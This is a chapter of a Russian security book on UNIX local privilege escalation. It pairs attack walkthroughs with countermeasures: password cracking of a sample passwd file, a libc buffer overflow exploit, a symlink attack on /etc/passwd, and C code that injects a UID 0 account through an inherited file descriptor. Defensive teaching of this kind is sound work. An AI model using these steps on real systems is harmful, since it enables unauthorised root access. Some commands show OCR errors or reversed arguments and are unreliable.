Защита информации в Интернет




Локальный доступ

Итак, мы рассмотрели общие принципы получения удаленного доступа. Как уже упоминалось выше, большинство взломщиков, используя изъяны в защите средств удаленного доступа, стремятся получить локальный доступ. Если злоумышленнику удается получить интерактивный доступ к командной оболочке, он рассматривается системой как локальный пользователь. Хотя при удаленном взломе в некоторых случаях злоумышленникам удается сразу же получить доступ к компьютеру в качестве суперпользователя root, в большинстве случаев им приходится начинать с доступа в качестве обычного пользователя. Таким образом, взломщик должен заняться деятельностью, призванной расширить его полномочия от простого пользователя до суперпользователя. Эта деятельность называется расширением полномочий (privilege escalation). Сложность методики расширения полномочий зависит как от типа и версии используемой операционной системы, так и от качества ее настройки на конкретном компьютере. Некоторые операционные системы по умолчанию принимают все меры, препятствующие обычным пользователям расширять полномоия до уровня суперпользователя root, тогда как другие позволяют это делать. Например, пользователю операционной системы OpenBSD, установленной с параметрами настройки, принятыми по умолчанию, значительно сложнее расширить свои полномочия до уровня root, чем, скажем, пользователю операционной системы Irix. Конечно, индивидуальная настройка может значительно повысить уровень общей безопасности системы. В следующем разделе этой главы будут рассматриваться методы, позволяющие обычному пользователю получить доступ к системе на уровне суперпользователя. Необходимо заметить, что, хотя для большинства взломщиков типичным является поведение, заключающееся в попытках получить доступ на уровне root, в некоторых случаях у злоумышленника может не быть такой необходимости. Например, если взломщика интересует получение доступа к базе данных Oracle, то ему, скорее всего, достаточно будет получить доступ к учетной записи, под которой работает Oracle, а не к учетной записи root.

Поиск неправильно выбранных паролей


Как уже отмечалось выше, после того, как взломщику удалось получить доступ, самую большую угрозу для безопасности представляют собой легко угадываемые пароли. Не имеет значения, идет ли речь об удаленном или локальном доступе — неправильно выбранные пароли представляют собой одно из самых слабых мест системы защиты. Ввиду того что выше мы уже указывали на основные проблемы, связанные с выбором паролей, здесь мы остановимся в основном на изучении методов взлома.
Взлом пароля часто заключается в использовании процедуры, называемой автоматизированный взлом с помощью словаря (automated dictionary attack). Взлом простым перебором (brute force attack) чаше всего рассматривается как метод активного взлома, тогда как автоматизированный взлом с помощью словаря может происходить без наличия соединения и является пассивным. Чаще всего этот метод взлома используется именно при наличии локального доступа, поскольку злоумышленнику необходимо получить доступ к файлу /etc/passwd или файлу паролей /etc/shadow. Иногда удается получить копию такого файла и при удаленном доступе (например, с использованием протоколов TFTP или HTTP). Однако, на наш взгляд, лучше всего рассматривать взлом паролей именно как один из методов локального взлома. Он отличается от метода взлома простым перебором тем, что в данном случае злоумышленник при подборе пароля не пытается получить доступ к службе, работающей на уровне полномочий суперпользователя, или воспользоваться командой su. Вместо этого он пытается подобрать пароль к определенной учетной записи, шифруя различные слова или случайным образом сгенерированный текст и сравнивая результаты с зашифрованным паролем, полученным из файла паролей.
Если хэш-код зашифрованного пароля соответствует хэш-коду, сгенерированному программой взлома, значит, пароль успешно взломан. Как видите, в этом процессе нет ничего сложного, — если вы знаете две составляющие из трех, вы можете вычислить недостающие данные. Нам либо известно слово из словаря часто используемых паролей, либо известен случайным образом сгенерированный текст (назовем такие слово или текст исходными данными). Мы также знаем алгоритм хэширования (обычно для этого используется стандарт DES — Data Encryption Standard). Таким образом, если хэш-код исходных данных, полученный путем применения заданного алгоритма, соответствует хэш-коду пароля определенного пользователя, значит, в качестве исходных данных мы использовали текст, являющийся паролем этого пользователя. Этот процесс показан на рис. 8.4.



Рис. 8.4. Процесс подбора пароля

Из всего многообразия программ, предназначенных для взлома паролей, можно выделить Crack 5.0а Алека Маффета (Alec Muffett) и John the Ripper. Программа Crack 5.0л, которую для краткости мы будем называть просто Crack, является, пожалуй, самой популярной программой взлома паролей. К тому же она постоянно совершенствуется, а ее весьма обширный словарь, содержащий очень широкий спектр возможных паролей — от ненормативной лексики до названий из сериала Star Trek, — постоянно пополняется. Crack поддерживает даже возможность распределения вычислений, предназначенных для взлома пароля, на нескольких компьютерах. Программа John the Ripper, или просто John, является более новой, чем Crack 5.0a. Ее отличительная особенность заключается в высокой степени оптимизации для взлома максимально возможного количества паролей за минимальное время. Кроме того, John поддерживает больше алгоритмов хэширования, чем Crack. Обе программы позволяют проверять не только слова, находящиеся в словаре, но и их модификации. По умолчанию в состав каждого из этих двух инструментов входит более 2400 правил, которые можно применить к словарю для подбора паролей, которые, казалось бы, очень трудно взломать. В комплект поставки обеих программ входит обширная документация, с которой мы настоятельно рекомендуем ознакомится. Чтобы не рассматривать все возможные параметры и режимы работы этих программ, мы покажем, как запустить Crack на выполнение и прокомментируем полученные результаты. Для этого вам необходимо знать структуру файла паролей. Если вы недостаточно владеете данным вопросом, обратитесь к хорошей книге по UNIX.

Crack 5.0a


Для того чтобы запустить программу Crack, достаточно указать, где находится файл паролей, а затем лишь дождаться результата. Crack является самокомпилирующейся программой, поэтому после запуска на самом деле вызывается утилита make, которая собирает воедино все необходимые компоненты. Одной из сильных сторон программы Crack является обширный набор правил создания различных словоформ и модификаций. Кроме того, при каждом запуске эта программа генерирует пользовательский список слов, в который включается такая информация, как имя пользователя, а также сведения, указанные в поле GECOS (комментарии). Именно поэтому не забывайте посмотреть на поле GECOS при взломе паролей! Очень часто в поле GECOS пользователи указывают свое полное имя и при этом выбирают пароль, который представляет собой некоторую комбинацию имени и фамилии или их частей. Программа Crack очень легко справляется с такими несложными паролями. Давайте посмотрим как выглядит типичный файл паролей, а затем попробуем применить к нему программу взлома.

root:cwIBREDaWLHmo:0:0:root:/root:/bin/bash
bin:*:l:l:bin:/bin:
daemon:*:2:2:daemon:/sbin:
<other locked accounts omitted>
nobody:*:9 9:9 9:Nobody:/:

eric:GmTFgOAavFAOU:500:0:
:/home/eric:/bin/csh
samantha:XaDeasK8g8g3s:501:503:
:/home/samantha:/bin/bash
temp:kRWegG5iTZP5o:502:506:
:/home/temp:/bin/bash
hackme:nh.StBNcQnyE2:504:1:
:/home/hackme:/bin/bash
bob:9wynbWzXinBQ6:506:1::/home/bob:/bin/csh
es:OxOH89TiymLcc:501:501::/home/es:/bin/bash
mother:jxZdltcz3wW2Q:505:505:
:/home/mother:/bin/bash
jfr:kyzKROryhFDE2:506:506:
:/home/jfr:/bin/bash

Для того чтобы запустить программу Crack для взлома данного файла, необходимо воспользоваться следующей командой.

[tsunamitt Crack passwd
Crack 5.0a: The Password Cracker.
(c) Alec Muffett, 1991, 1992, 1993, 1994, 1995, 1996
System: Linux 2.0.36
#1 Tue Oct 13 22:17:11 EOT 1998 1686 unknown
<omitted for brevity>
Crack: The dictionaries seem up to date...
Crack: Sorting out and merging feedback, please be patient...
Crack: Merging password files...
Crack: Creating gecos-derived dictionaries
mkgecosd: making non-permuted words dictionary
mkgecosd: making permuted words dictionary
Crack: launching: cracker -kill run/system.11324
Done

Начиная с этого момента программа Crack переходит к функционированию в фоновом режиме с сохранением результатов в базе данных. Для того чтобы обратиться к этой базе данных и узнать, какие пароли были взломаны, необходимо запустить утилиту Reporter.

[tsunami]# Reporter -quiet
---passwords cracked as of Sat 13:09:50 EOT ---
Guessed eric [jenny] [passwd /bin/csh]
Guessed hackme [hackme] [passwd /bin/bash]
Guessed temp [temp] [passwd /bin/bash]
Guessed es [eses] [passwd /bin/bash]
Guessed jfr [solarisl] [passwd /bin/bash]

Если вы хотите увидеть только пароли, взломанные к текущему моменту, необходимо запустить профамму Reporter с параметром -quiet. При запуске утилиты без параметров на экран выводятся сведения об ошибках, предупреждения, а также сведения о заблокированных паролях. В комплект поставки профаммы Crack входит еще и несколько очень полезных сценариев. Один из них — shadmrg. sv. Он предназначен для объединения файла паролей UNIX со скрытым файлом паролей, что позволяет получить один исходный файл, содержащий всю информацию, необходимую для взлома паролей. Еще одной интересной командой является команда make tidy, с помощью которой можно удалить остаточные учетные пользовательские записи и пароли после выполнения Crack.
В завершение необходимо рассмотреть еще один вопрос: как определить используемый алгоритм хэширования? В нашем примере использовался алгоритм DES, являющийся стандартным в большинстве версий UNIX. Если в системе установлены дополнительные средства обеспечения безопасности, то тогда, скорее всего, будут применяться алгоритмы MD5 и blowfish. Хэш-код пароля, полученный с помощью MD5, значительно длиннее хэш-кода DES и идентифицируется наличием символов $1 в качестве двух первых символов хэш-кода. Символы $2, содержащиеся в начале хэш-кода, говорят о том, что для хэширования использовался алгоритм blowfish. Если вам нужна программа для взлома паролей, защищенных с помощью MD5 или blowfish, мы настоятельно рекомендуем использовать John the Ripper.

John the Ripper


John the Ripper — одна из лучших утилит взлома паролей, доступных в настоящее время. Ее версии как для UNIX, так и для NT можно найти по адресу http://www.openwall.com/john/. Как уже упоминалось, программа John является одной из лучших и самых быстрых утилит и она очень проста в применении.

[shadow]# John passwd
Loaded 9 passwords with 9 different salts (Standard DES [24/32 4K])
hackme (hackme)
temp (temp)
eses (es)
jenny (eric)
tlB (bob)
guesses: 5 time: 0:00:04:26 (3)
c/s: 16278 trying: pireth - StUACT

На вход утилиты John при запуске подается файл паролей (passwd), и это все, что нужно сделать. Утилита самостоятельно определит применяемый алгоритм шифрования, в данном случае DES, а затем приступит к взлому паролей. Сначала будет использован файл словаря (password. 1st), а затем начнется процесс подбора паролей. Как видно из приведенного листинга, утилитой John был получен пароль пользователя job, тогда как программе Crack удалось подобрать пароль пользователя j f г. Так что с помощью каждой программы были получены различные результаты. В основном это объясняется ограниченным списком слов, содержащимся в файле словаря \тили-ты John, так что мы рекомендуем его расширить. Обширный список слов можно найти ПО адресу http://packetstorm.securify.com/Crackers/wordlists/.

Контрмеры: защита от взлома неправильно выбранных паролей


Контрмеры, позволяющие защитить систему от попыток взлома неправильно выбранных паролей, приведены в разделе "Защита От Подбора Паролей "В Лоб"" выше в данной главе.

Локальное переполнение буфера


Взлом путем локального переполнения буфера — один из самых популярных видов атак. Как уже упоминалось выше в этой главе в разделе "Удаленный Доступ", используя переполнение буфера, взломщик может запустить на интересующей его системе произвольный код или команду. В большинстве случаев переполнение буфера применяется для взлома файлов, работающих в контексте SUID суперпользователя, что обеспечивает злоумышленнику возможность запуска команд с привилегиями root. Выше в разделе "Взлом Путем Переполнения Буфера" этой главы мы уже рассматривали, как при возникновении переполнения буфера можно выполнить произвольный код. В этом разделе мы на нескольких примерах рассмотрим, как происходит типичный взлом путем локального переполнения буфера.
В мае 1999 года группа Shadow Penguin Security обнародовала информацию о состоянии переполнения буфера в библиотеке libc, которое связано с переменной окружения LC_MESSAGES. Любая программа SUID, которая динамически компонуется с этой библиотекой и использует переменную окружения LC_MESSAGES, представляет собой объект для взлома путем переполнения буфера. Поскольку данная ошибка связана с использованием системной библиотеки, в отличие от рассматривавшихся ранее примеров, она проявляется не в одной программе, а в нескольких. Эта особенность очень важна и является одной из причин, по которой мы выбрали данный пример, потому что в случае возникновения переполнения буфера в системной библиотеке можно взломать очень много программ, использующих эту библиотеку. Давайте посмотрим, как этот подход выглядит на практике.
Прежде всего, необходимо скомпилировать саму программу взлома (exploit). В некоторых случаях понадобится подкорректировать исходный код. Этот процесс может оказаться достаточно длительным, поскольку иногда требуется очень тонкая настройка, зависящая от платформы. Рассматриваемая в данном случае программа написана для системы Solaris 2.6 и 2.7. Для ее компиляции мы использовали бесплатный компилятор GNU gcc, так как в комплект поставки Solaris по умолчанию компилятор не входит. Его нужно приобретать отдельно. Файл с исходным текстом имеет расширение . с, а исполняемый файл сохраняется под именем ex_lobc с помощью параметра -о компилятора. [quake]$ gcc ex_lobc.c -о ех_1оbс
Теперь остается лишь запустить на выполнение программу ex_lobc, которая приведет к переполнению буфера в libc посредством обращения к какой-либо программе SUID, например /bin/passwd.

[quake]$ ./ex_lobc
 jumping address : efffe7a8 #

Итак, программа взлома перешла к заданному адресу памяти, в результате чего оболочка /bin/sh запустилась с привилегиями суперпользователя, о чем говорит символ # в строке приглашения. Данный пример очень прост и дает возможность любому почувствовать себя экспертом в вопросах безопасности. На самом деле участники группы Shadow Penguin Security проделали колоссальную работу, чтобы найти данный изъян и написать соответствующую программу. Как легко догадаться, простота получения доступа на уровне суперпользователя — это основная притягательная сила, побуждающая взломщиков использовать программы, приводящие к локальному переполнению буфера.

Контрмеры: защита от локального переполнение буфера


Лучшим методом зашиты от локального переполнения буфера является учет требований безопасности в процессе программирования, а также включение режима, запрещающего выполнение кода, находящегося в стеке. Достаточно выполнить хотя бы последнее требование, чтобы значительно усложнить работу злоумышленника, который попытается написать программу, использующую только что рассмотренный изъян. Полный перечень контрмер приведен в разделе "Взлом Путем Переполнения Буфера" данной главы. Здесь мы лишь добавим, что очень хорошей практикой является установка бита SUID только для тех программ, которым действительно необходим доступ на уровне суперпользователя.

Символьные ссылки


Устаревшие, рабочие и временные файлы в той или иной степени "захламляют" большинство систем. К счастью, в UNIX большинство временных файлов создается в одном каталоге /tmp. Однако, хотя, с одной стороны, это и удобно, с другой — несет в себе определенную опасность. Многие программы, работающие в контексте SUID суперпользователя, создают рабочие файлы в каталоге /tmp или других подобных каталогах даже без намека на какую-либо проверку соблюдения правил безопасности. Основная проблема связана с использованием некоторыми программами при доступе к файлам символьных ссылок без проверки того, является ли тот или иной файл ссылкой или же реальным файлом. Символьная ссшка (symbolic link) — это файл специального вида, созданный с помощью команды In. По сути, такой файл представляет собой не что иное, как ссылку на другой файл. Давайте, например, создадим символьную ссылку /tmp/fоо на файл /etc/passwd.
[quake]$ In -s /tmp/foo /eto/passwd
Теперь, применив команду cat к файлу /tmp/foo, мы получим содержимое не этого файла, а файла паролей! Таким образом, кажущееся на первый взгляд удобным, это средство представляет весьма реальную угрозу для безопасности. Хотя подобным образом обычно осуществляется доступ к рабочим файлам, помещенным в каталог /tmp, некоторые приложения создают подобные файлы и в любых других каталогах файловой системы. Давайте рассмотрим пример из реальной жизни и разберемся, как этот метод применяется на практике.
В этом примере мы будем изучать утилиту взлома dtappgather из операционной системы Solaris. Данная утилита поставляется в составе стандартного рабочего стола. При каждом выполнении dtappgather создает временный файл с именем /var/dt/appconfig/appmanager/generic-display-0 и устанавливает к нему права доступа 0666. Кроме того, она изменяет атрибут принадлежности файла в соответствии с UID пользователя, который запустил эту утилиту на выполнение. К сожалению, утилита dtappgather не применяет никаких процедур проверки для того, чтобы удостовериться, не подменен ли созданный ею временный файл символьной ссылкой. Таким образом, если взломщик создаст символьную ссылку /var/dt/appconfig/appmanager/generic-display-0, указывающую на другой файл (например, на /etc/passwd), права доступа к последнему изменятся на 0666, а его владельцем станет взломщик. Перед запуском программы давайте убедимся, в том что владельцем файла /etc/passwd является суперпользователь root, а права установлены на уровне группы sys.

[quake]$ 1s -1 /etc/passwd
-r-xr-xr-x 1 root sys 560 May 5 22:36 /etc/passwd

Теперь создадим символьную ссылку /var/dt/appconfig/appmanager/generic-display-0, указывающую на файл /etc/passwd.

[quake]$ In -s /etc/passwd /var/dt/appconfig/
appmanager/generic-display-0

Наконец, запустим утилиту dtappgather, а затем проверим права доступа к файлу /etc/passwd.

[quake]$ /usr/dt/bin/dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File
exists
[quake]$ Is -1 /etc/passwd
-r-xr-xr-x 1 gk staff 560 May 5 22:36 /etc/passwd

Итак, утилита dtappgather "бездумно" воспользовалась созданной нами символьной ссылкой и изменила владельца и права доступа к файлу /etc/passwd. Теперь то же самое нужно проделать для файла /etc/shadow. После того как изменены владельцы файлов /etc/shadow и /etc/passwd, можно модифицировать эти файлы и добавить в них учетную запись с UID 0 (эквивалент суперпользователя). И на все это уйдет не больше минуты!

Контрмеры: защита от взлома с использованием символьных ссылок


В данном случае самой лучшей защитой является программирование с учетом требований безопасности. К сожалению, алгоритмы многих программ не предусматривают проведение профилактической проверки уже созданных файлов. Прежде чем создавать файл, программист должен проверить его существование, воспользовавшись флагами O_EXCL | O_CREAT. При создании временных файлов задайте маску с помощью команды umask, а затем воспользуйтесь функциями tmpfileO или mktemp (). Если вам действительно интересно знать, какими программами создаются временные файлы, воспользуйтесь следующей командой в каталоге /bin или /usr/sbin/.
[quake]$ strings * |grep tmp
Если программа выполняется в контексте SUID, то она представляет собой потенциальную угрозу, поскольку может использоваться взломщиком для получения несанкционированного доступа путем создания символьной ссылки. Как уже неоднократно рекомендовалось, сбросьте бит SUID у максимально возможного количества файлов, чтобы свести риск к минимуму. Наконец, можно воспользоваться инструментальным средством, например, таким как LOpht Watch, которое наблюдает за каталогом /tmp и информирует о создании в нем временных файлов. Утилиту LOpht Watch можно найти по адресу http://www.L0pht.com/advisories/10pht-watch. tar .gz.

Взлом с помощью дескриптора файла


Дескрипторы файлов (file descriptor) — это неотрицательные целые числа, которые используются системой для управления файлами. Дескрипторы позволяют облегчить работу операционной системы, устраняя необходимость манипуляции именами файлов. В соответствии с принятыми соглашениями, дескрипторы 0, 1 и 2 определяют стандартный входной поток, стандартный выходной поток и стандартный поток ошибок соответственно. Таким образом, когда функции ядра открывают существующий файл или создают новый, они возвращают определенный дескриптор, который может использоваться программой для выполнения над этим файлом операций чтения/записи. Если дескриптор соответствует файлу, который был открыт для чтения и записи (O_RDWR) привилегированным процессом, то во время модификации этого файла взломщик может получить к нему доступ и произвести в него запись. Таким образом, с помощью этого метода можно модифицировать один из важных системных файлов и получить доступ на уровне суперпользователя.
Достаточно неожиданно, что даже такая надежная система, как OpenBSD версии 2.3, была подвержена взлому с помощью дескриптора файла. Оливер Фридрихе (Oliver Friedrichs) установил, что команда chpass, применяемая для модификации некоторой информации, хранящейся в файле паролей, некорректно обрабатывала дескрипторы файлов. При запуске chpass создавался временный файл, который мог модифицировать любой пользователь с помощью какого-нибудь текстового редактора. Любые изменения снова заносились в базу данных паролей, как только пользователь закрывал редактор. К сожалению, если взломщик выполнял временный выход в командную оболочку, то порождался дочерний процесс, имеющий права доступа на чтение/запись дескрипторов файлов родительского процесса. Взломщику оставалось лишь модифицировать временный файл (/tmp/ptmp), созданный командой chpass, добавив в него учетную запись с UID 0 без пароля. Как только он, вернувшись в редактор, закрывал его, все изменения немедленно заносились в файл /etc/master.passwd. После этого для получения доступа в качестве суперпользователя взломщику оставалось лишь воспользоваться только что созданной учетной записью. Давайте посмотрим, как это можно выполнить на практике.
Сначала изменим используемый по умолчанию редактор на vi, поскольку во время работы он позволяет получить доступ к командной строке. [dinky]$ export EDITOR=vi
Затем запускаем программу chpass. [dinky]$ /usr/bin/chpass
Это, в свою очередь, приведет к запуску vi с открытием информации из базы данных текущего пользователя.

#Chanqing user database information for gk.
Shell: /bin/sh
Full Name: grk
Location:
Office Phone:
Home Phone: blah

Теперь на время выйдем из редактора vi в командную оболочку, воспользовавшись для этого командой ! sh.
Теперь только что запущенная командная оболочка имеет унаследованный доступ к дескриптору открытого файла. Воспользуемся описанным подходом и добавим в файл паролей учетную запись с UID 0.

[dinky]$ nohup ./chpass &
[1] 24619
$ sending output to nohup.out
[1] + Done nohup ./chpass
[dinky]$ exit
Press any key to continue
[: to enter more ex commands]:
/etc/pw.F26119: 6 lines, 117 characters.
[dinky]$ su owned
[dinky]# id
uid=0(owned) gid=0(wheel) groups=0(wheel)

Как только мы воспользовались командой su и учетной записью owned, мы получили доступ на уровне суперпользователя. Весь описанный процесс можно воплотить всего лишь в нескольких строках кода.

int
main () {
FILE *f;
int count; f = fdopen (FDTOUSE, "a");
for (count = 0; count != 30000; count++)
fprintf (f, "owned::0:0::0:0:OWNED,,,:/tmp:/bin/bash\n");
exit (0) ; }

Этот код предоставлен Марком Зелинским (Mark Zielinski).

Контрмеры: защита от взлома с помощью дескриптора файла


Разработчики программ, предназначенных для работы в контексте SUID, должны следить за корректностью распределения дескрипторов файлов. В частности, при системном вызове execveO необходимо устанавливать флаг close-on-exec. Как уже упоминалось выше, необходимо также сбросить бит SUID у всех программ, для которых его устанавливать необязательно.

Гонки на выживание


В реальной жизни хищник нападает на жертву, когда она наименее защищена. В ки-берпространстве эта аксиома также имеет место. Компьютерные взломщики, как правило, стремятся воспользоваться недостатками в системе защиты программы или процесса при выполнении ими какой-нибудь привилегированной операции. Обычно при этом время взлома-планируется таким образом, чтобы повредить программу или процесс после того, как они перейдут в привилегированный режим, но до завершения использования привилегированных прав. В большинстве случаев этот временной интервал достаточно ограничен, поэтому взломщикам нужно очень хорошо рассчитать момент нападения, чтобы успеть вовремя скрыться со своей добычей. Недостаток системы защиты, позволяющий злоумышленнику установить факт наличия такого временного интервала, называется состоянием гонки на выживание (race condition). Если взломщику удается вмешаться в нор-мальную работу в то время, когда процесс или программа находится в привилегированном состоянии, то говорят о том, что он "выигрывает гонку" (winning the race). Состояние гонки на выживание может быть различных типов. Мы ограничимся описанием тех из них, которые связаны с обработкой сигналов.

Проблемы обработки сигналов


В системе UNIX сигналы (signal) обеспечивают механизм, используемый для извещения процесса о том, что возникло какое-то определенное условие. Кроме того, с помощью сигналов обрабатываются асинхронные события. Например, когда пользователь хочет приостановить работу выполняющейся программы, он нажимает комбинацию клавиш <Ctrl-t-Z>. При этом всем активным процессам (foreground) рассылается сигнал SIGTSTP. Таким образом, с помощью сигналов изменяется ход выполнения программы. Как и раньше, выражение "изменяется ход выполнения программы" должно вызвать у вас мгновенную реакцию, так как такие действия обычно таят в себе угрозу для безопасности. Действительно, возможность влиять на ход выполнения работающей программы — одна из самых важных проблем в обеспечении безопасности обработки сигналов. Если бы дело ограничивалось лишь сигналом SIGTSTP, это было бы не столь критично, однако в действительности для подобных целей может использоваться свыше 30 сигналов, что, как вы понимаете, представляет собой сложную проблему.
Примером взлома защиты с использованием обработки сигналов может послч'жить обнаруженный в конце 1996 года изъян в системе обработки сигналов программы wu-f tpd v2.4. Этот изъян позволял как обычным, так и анонимным пользователям получать доступ к файлам в качестве суперпользователя. Это оказалось возможным из-за ошибки в сервере FTP, связанной с обработкой сигналов. При запуске FTP-сервер устанавливал два обработчика сигналов. Первый из них использовался для обработки сигналов SIGPIPE при закрытии управляющего порта или порта данных, а второй — для обработки сигналов SIGURG, поступающих при обнаружении команды ABOR, предназначенной для аварийного прекращения передачи. Обычно, когда пользователь регистрируется на сервере FTP, сервер запускается в контексте действующего UID пользователя, а не на уровне суперпользователя. Однако если соединение, по которому передаются данные, неожиданно закрывается, FTP-серверу отправляется сигнал SIGPIPE, после чего FTP-сервер вызывает функцию dologouto и повышает свой уровень привилегий до уровня суперпользователя (UID 0)! Сервер добавляет в файл системного журнала запись об отключении пользователя, закрывает файл журнала xferlog, удаляет пользовательский экземпляр сервера из таблицы процессов и завершает свою работу. Именно в этот момент сервер и изменяет свой действующий UID на 0, что повышает уязвимость системы в случае взлома. Взломщик может отправить FTP-серверу сигнал SIGURG, пока его действующий UID равен 0, прервать сервер, когда он пытается отключить пользователя, а потом заставить его снова вернуться обратно в режим обработки поступающих команд. Таким образом, здесь можно говорить о возникновении гонки на выживание, поскольку взломщику необходимо успеть выдать сигнал SIGURG после того, как сервер изменит свой UID на 0, но до отключения пользователя. Если взломщику это удастся (пусть и не с первой попытки), он останется подключенным к FTP-серверу, но уже с полномочиями суперпользователя! Это позволит ему получить или отправить любой файл, а также выполнять команды с привилегиями root.

Контрмеры: защита от взлома с помощью сигналов


Когда речь идет о файлах SUID, корректная обработка сигналов должна быть обязательным требованием. Если программа перехватывает и обрабатывает сигналы надлежащим образом, конечный пользователь не сможет сделать ничего такого, что нарушило бы безопасность. Конечно, об этом должны позаботится программисты, а администратор прежде всего должен убедиться в том, что бит SUID установлен только для тех файлов, которым это действительно необходимо. Об этом уже неоднократно говорилось. Кроме того, нужно удостовериться в том, что установлены все модули обновления, предоставленные разработчиком операционной системы.

Манипуляции с файлами дампов


Возможность получения дампа (core file) при выполнении программы может привести гораздо к более серьезным последствиям, чем кажется на первый взгляд. Во время работы системы UNIX в памяти может находиться много важной информации, включая, например, хэш-коды паролей, считанные из скрытого файла паролей. Одним из примеров манипуляций с файлами дампов является изъян, имевший место в старых версиях FTPD. Сервер FTPD позволял взломщикам записать дамп оперативной памяти в общедоступный файл, размещаемый в корневом каталоге. Для этого перед подключением к серверу нужно было лишь передать команду PASV. Помимо прочего в файле дампа содержалась часть скрытого файла паролей и в большинстве случаев хэш-коды пользовательских паролей. Если взломщику удавалось найти эти коды в файле дампа, он получал возможность взломать привилегированную учетную запись и получить доступ к системе на уровне суперпользователя.

Контрмеры: защита от взлома с помощью файлов дампов


Файлы дампов — это неизбежное зло. Несмотря на то что они могут предоставить взломщику конфиденциальную информацию, они также обеспечивают получение не менее важной информации и системному администратору в тех случаях, когда выполнение программы завершается аварийно. Если того требуют ваши правила обеспечения безопасности, можно ограничить генерацию файлов дампов с помощью команды ulimit и даже полностью отключить ее, установив ulimit равным 0 в системном профиле. Более подробную информацию по команде ulimit вы найдете в интерактивной справочной системе.

[tsunami]$ ulimit -a
core file size (blocks) unlimited
[tsunami]? ulimit -с 0
[tsunami]$ ulimit -a
core file size (blocks)0

Совместно используемые библиотеки


Совместно используемые библиотеки (shared library) позволяют исполняемым файлам обращаться к функциям общего назначения во время выполнения. Соответствующий программный код заранее компилируется, а затем помещается в ту или иную совместно используемую библиотеку. При запуске программы, которой нужна какая-то функция, находящаяся в такой библиотеке, программа обращается к этой библиотеке, загружает в память нужный код и выполняет его. Главным преимуществом таких библиотек является экономия дискового пространства и оперативной памяти, а также упрощение сопровождения программ, так как обновление библиотеки автоматически влечет за собой обновление функциональности всех работающих с ней программ. Конечно, за повышенное удобство приходится расплачиваться ослаблением безопасности. Если взломщику удастся модифицировать совместно используемую библиотеку или с помощью переменных окружения ему удастся переключить программы на применение своей собственной библиотеки, это может привести к получению им доступа на уровне суперпользователя.
В качестве примера можно привести изъян программы in.telnetd, описанный в статье СА-95.14 координационного центра CERT. Этот изъян, конечно, был обнаружен довольно давно, но он как нельзя лучше подходит для иллюстрации рассултри-ваемой проблемы. Суть изъяна заключается в том, что некоторые версии in. telr.e.i позволяют передавать удаленной системе переменные окружения, когда пользователь пытается установить соединение (RFC 1408 и 1572). Таким образом, взломщик может модифицировать свою переменную LD_PRELOAD, подключившись к системе с помощью telnet, и получить доступ в качестве суперпользователя.
Для того чтобы извлечь пользу из данного изъяна, взломщику необходимо каким-либо способом поместить модифицированную совместно используемую библиотеку на взламываемую систему. Затем он может модифицировать переменную LD_PRELOAD таким образом, чтобы она указывала на модифицированную библиотеку при подключении. Когда сервер in. telnetd запускает программу /bin/login для аутентификации пользователя, динамический компоновщик системы загрузит модифицированную библиотеку, а не стандартную. Это позволит взломщику выполнить код с привилегиями суперпользователя.

Контрмеры: защита совместно используемых библиотек


При зафузке модулей с установленным флагом SU1D суперпользователя динамические компоновщики должны игнорировать значения переменной окружения LD_PRELOAD. Пуристы могут возразить, что совместно используемые библиотеки должны быть хорошо написаны и нет никакой опасности в том, что они указаны в переменной LD_PRELOAD. В действительности же в этих библиотеках могут оказаться ошибки, снижающие безопасность системы при выполнении кода, хранящегося в библиотеке, в контексте SUID. Более того, защищать совместно используемые библиотеки (например, /usr/lib или lie) нужно также тщательно, как и самые важные файлы. Если взломщик сможет получить доступ к /usr/lib или /lib, система станет абсолютно беззащитной.

Изъяны ядра


Не секрет, что UNIX является очень сложной и надежной операционной системой. Из-за сложности в UNIX и других мощных операционных системах неизбежно имеются определенные программные ошибки. В UNIX наиболее опасный недостаток связан с самим ядром. Ядро представляет собой внутренний компонент операционной системы, в котором реализована общая модель ее подсистемы защиты. Эта модель обеспечивает обработку разрешений на использование файлов и каталогов, расширение и отключение привилегий файлов SUID, обработку сигналов и т.д. Если слабое место появляется в самом ядре, то под угрозой оказывается безопасность всей операционной системы в целом.
В качестве примера можно привести изъян ядра, обнаруженный в июне 2000 года, который оказал влияние на миллионы систем. Он имеется в ядре большинства версий системы Linux 2.2.x, разработанных до этого момента. Этот изъян связан с реализацией требований стандарта POS1X в ранних версиях ядра Linux. Реализованные возможности были призваны обеспечить более высокую степень управляемости, чем предоставлялась привилегированными процессами. Если говорить кратко, то все новые возможности были разработаны для повышения безопасности всей системы в целом. К сожалению, из-за ошибок в программировании оказалось, что новые функции работают не так, как планировалось. Этот изъян позволяет ввести в заблуждение программы SUID (например, sendmail) и назначить для них более высокие привилегии, чем те, которые им действительно необходимы. Таким образом, злоумышленник, который имеет доступ к командной оболочке взламываемой системы, может расширить эти привилегии до уровня root.

Контрмеры: защита ядра


Описанный изъян имеет место во многих системах Linux. Поэтому соответствующий модуль обновления системному администратору нужно установить в первую очередь. К счастью, это очень просто осуществить. Для тех, кто использует ядро версии 2.2.x, достаточно просто обновить его до версии 2.2.16 или более высокой.

Неправильная настройка системы


В предыдущих разделах мы описали часто встречаемые изъяны, а также методы, с помощью которых злоумышленники могут воспользоваться этими недоработками и получить привилегированный доступ. Перечень таких изъянов и соответствующих методов достаточно велик, однако в распоряжении взломщиков имеется гораздо больше методов взлома, чем можно было бы предположить исходя из такого перечня. Это объясняется тем, что зачастую нарушение безопасности происходит не только и не столько из-за наличия технических дефектов в системе защиты, сколько из-за недостаточно тщательной настройки и неэффективных методов администрирования. Операционная система может быть сама по себе очень безопасной и надежной, но если системный администратор изменит права доступа к файлу /etc/passwd, открыв его для всеобщего доступа, все остальные меры по защите данных могут оказаться бесполезными. Именно этот человеческий фактор и недооценивается в большинстве случаев.

Права доступа к файлам и каталогам


Простота и мощь системы UNIX основывается на реализованном в ней механизме использования файлов. Независимо от того, являются ли они двоичными исполняемыми программами, текстовыми конфигурационными файлами или устройствами, все эти объекты представляют собой файлы с соответствующими правами доступа. Если система разрешений недостаточно хорошо реализована или намеренно изменена администратором, безопасность системы может быть значительно снижена. Ниже описаны два самых распространенных недостатка в процедурах администрирования, которые заключаются в установке для файлов флага SUID, а также в создании файлов, общедоступных для записи. Из-за ограничений на объем книги проблемы обеспечения безопасности устройств (/dev) подробно не рассматриваются, однако это вовсе не означает, что к ним можно применять менее строгие защитные меры. Злоумышленник, который может создавать устройства или получать права чтения/записи важнейших системных ресурсов, таких как /dev/kmem, практически гарантированно сможет получить доступ на уровне суперпользователя.

Файлы SUID


